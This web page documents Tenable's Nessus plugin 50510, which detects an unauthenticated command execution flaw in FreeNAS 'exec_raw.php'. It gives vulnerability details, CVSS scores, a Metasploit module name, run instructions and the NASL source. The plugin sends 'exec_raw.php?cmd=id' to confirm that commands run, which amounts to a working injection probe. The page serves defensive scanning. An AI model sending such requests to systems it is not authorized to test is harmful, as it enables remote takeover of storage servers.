FreeNAS 'exec_raw.php' Arbitrary Command Execution - Nessus

Critical   Plugin ID: 50510

This page contains detailed information about the FreeNAS 'exec_raw.php' Arbitrary Command Execution Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 50510
Name: FreeNAS 'exec_raw.php' Arbitrary Command Execution
Filename: freenas_exec_raw_noauth.nasl
Vulnerability Published: 2010-11-06
This Plugin Published: 2010-11-08
Last Modification Time: 2021-01-19
Plugin Version: 1.18
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: freenas_web_detect.nasl
Required KB Items [?]: installed_sw/FreeNAS

Vulnerability Information


Severity: Critical
Vulnerability Published: 2010-11-06
Patch Published: 2010-11-06
CVE [?]: N/A
CPE [?]: N/A

Synopsis

A web application on the remote host is affected by an arbitrary command execution vulnerability.

Description

The version of FreeNAS on the remote host fails to restrict access to its 'exec_raw.php' script. A remote, unauthenticated attacker can pass arbitrary commands through the script's 'cmd' parameter and have them executed with administrative privileges.

Solution

Upgrade to FreeNAS 0.7.2.5543 or later.

Public Exploits


Target Network Port(s): 80
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the FreeNAS 'exec_raw.php' Arbitrary Command Execution vulnerability:

  1. Metasploit: exploit/multi/http/freenas_exec_raw
    [FreeNAS exec_raw.php Arbitrary Command Execution]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

Risk Information


CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:C/I:C/A:C/E:F/RL:U/RC:ND
CVSS Base Score:10.0 (High)
Impact Subscore:10.0
Exploitability Subscore:10.0
CVSS Temporal Score:9.5 (High)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:9.5 (High)

Go back to menu.

Plugin Source


This is the freenas_exec_raw_noauth.nasl nessus plugin source code. This script is Copyright (C) 2010-2021 and is owned by Tenable, Inc. or an Affiliate thereof.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(50510);
  script_version("1.18");
  script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");

  script_bugtraq_id(44974);
  script_xref(name:"TRA", value:"TRA-2010-04");

  script_name(english:"FreeNAS 'exec_raw.php' Arbitrary Command Execution");
  script_summary(english:"Tries to run the id command.");

  script_set_attribute(attribute:"synopsis", value:
"A web application on the remote host is affected by an arbitrary
command execution vulnerability.");
  script_set_attribute(attribute:"description", value:
"The version of FreeNAS on the remote host fails to restrict access to
its 'exec_raw.php' script. A remote, unauthenticated attacker can pass
arbitrary commands through the script's 'cmd' parameter and have them
executed with administrative privileges.");
  script_set_attribute(attribute:"see_also", value:"https://www.tenable.com/security/research/tra-2010-04");
  # http://sourceforge.net/p/freenas/code/HEAD/tree/
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?64e77341");
  # http://sourceforge.net/projects/freenas/files/
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?14bfd2c5");
  # https://github.com/freenas
  # Note that FreeNAS has moved its official repository to GitHub
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?aae7b1b3");
  script_set_attribute(attribute:"solution", value:"Upgrade to FreeNAS 0.7.2.5543 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:U/RC:ND");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'FreeNAS exec_raw.php Arbitrary Command Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2010/11/06");
  script_set_attribute(attribute:"patch_publication_date", value:"2010/11/06");
  script_set_attribute(attribute:"plugin_publication_date", value:"2010/11/08");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2010-2021 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("freenas_web_detect.nasl");
  script_require_keys("installed_sw/FreeNAS");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("install_func.inc");
include("data_protection.inc");

app_name = "FreeNAS";
get_install_count(app_name:app_name, exit_if_zero:TRUE);

port = get_http_port(default:80, php:TRUE);
install = get_single_install(app_name:app_name, port:port);

cmd = 'id';
cmd_pat = 'uid=[0-9]+.*gid=[0-9]+.*';

url = install['dir'] + '/exec_raw.php?cmd=' + cmd;
res = http_send_recv3(method:'GET', item:url, port:port, exit_on_fail:TRUE);

if (egrep(pattern:cmd_pat, string:res[2]))
{
  if (report_verbosity > 0)
  {
    if (report_verbosity > 1)
      trailer = '\n\n  Which returned the output :\n\n' + data_protection::sanitize_uid(output:res[2]); # http => already has trailing \r\n
    else
      trailer = NULL;

    report = 'Nessus was able to verify the issue using the following URL :\n' +
      '\n  ' + build_url(qs:url, port:port) +
      trailer + '\n';

    security_hole(port:port, extra:report);
  }
  else security_hole(port);
}
else audit(AUDIT_WEB_APP_NOT_AFFECTED, app_name, build_url(port:port, qs:install['dir']));

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/freenas_exec_raw_noauth.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\freenas_exec_raw_noauth.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/freenas_exec_raw_noauth.nasl

Go back to menu.

How to Run


Here is how to run the FreeNAS 'exec_raw.php' Arbitrary Command Execution as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select FreeNAS 'exec_raw.php' Arbitrary Command Execution plugin ID 50510.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl freenas_exec_raw_noauth.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a freenas_exec_raw_noauth.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - freenas_exec_raw_noauth.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state freenas_exec_raw_noauth.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: TRA | Tenable Research Advisory: See also: Similar and related Nessus plugins:
  • 19704 - TWiki 'rev' Parameter Arbitrary Command Execution
  • 21328 - AWStats migrate Parameter Arbitrary Command Execution
  • 22123 - TWiki configure Script Arbitrary Command Execution
  • 23963 - Cacti cmd.php Multiple Parameter SQL Injection Arbitrary Command Execution
  • 23966 - Ultimate PHP Board chat/login.php username Parameter Arbitrary Command Execution
  • 25674 - AsteriDex callboth.php Multiple Parameter CRLF Injection Arbitrary Command Execution
  • 26968 - TikiWiki tiki-graph_formula.php f Parameter Arbitrary Command Execution
  • 30124 - Smart Publisher index.php filedata Parameter Arbitrary Command Execution
  • 30132 - Coppermine imageObjectIM.class.php Command Execution Vulnerabilities
  • 31167 - Sniplets Plugin for WordPress execute.php 'text' Parameter Arbitrary Command Execution
  • 34292 - Observer <= 0.3.2.1 Multiple Remote Command Execution Vulnerabilities
  • 35090 - Moodle 'filter/tex/texed.php' 'pathname' Parameter Remote Command Execution
  • 40592 - WP-Syntax Plugin for WordPress 'apply_filters' function Command Execution
  • 43155 - HP OpenView Network Node Manager Multiple Scripts hostname Parameter Remote Command Execution
  • 44675 - GIT gitweb git_snapshot / git_object Shell Metacharacter Arbitrary Command Execution
  • 45345 - eScan MWAdmin forgotpassword.php uname Parameter Arbitrary Command Execution
  • 49088 - SnortReport nmap.php target Parameter Arbitrary Command Execution
  • 53336 - GIT gitweb git_search Shell Metacharacter Arbitrary Command Execution
  • 53633 - Spreecommerce api/orders.json Search Function Arbitrary Command Execution
  • 57350 - Plone Request Parsing Remote Command Execution
  • 57576 - op5 Portal Arbitrary Command Execution
  • 57578 - op5 Config Arbitrary Command Execution
  • 57850 - Apache Struts 2 ParameterInterceptor Class OGNL Expression Parsing Remote Command Execution
  • 61435 - Symantec Web Gateway Multiple Script Shell Command Execution (SYM12-011)
  • 61517 - Umbraco codeEditorSave.asmx SaveDLRScript Operation Traversal File Upload Arbitrary Command Execution
  • 62293 - SAP Host Control SOAP Web Service 'Database/Name' Command Execution (SAP Note 1341333)
  • 62737 - WANem result.php pc Parameter Remote Command Execution
  • 63111 - Narcissus backend.php release Parameter Remote Command Execution
  • 64096 - Movable Type mt-upgrade.cgi Remote Command Execution
  • 64293 - ViArt Shop sips_response.php DATA Parameter Request Parsing Remote Shell Command Execution
  • 65127 - Adobe InDesign Server RunScript Arbitrary Command Execution
  • 66931 - Apache Struts 2 OGNL Expression Handling Double Evaluation Error Remote Command Execution
  • 66935 - Apache Struts 2 Crafted Parameter Arbitrary OGNL Expression Remote Command Execution
  • 68981 - Apache Struts 2 'action:' Parameter Arbitrary Remote Command Execution

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file freenas_exec_raw_noauth.nasl version 1.18. For more plugins, visit the Nessus Plugin Library.

Go back to menu.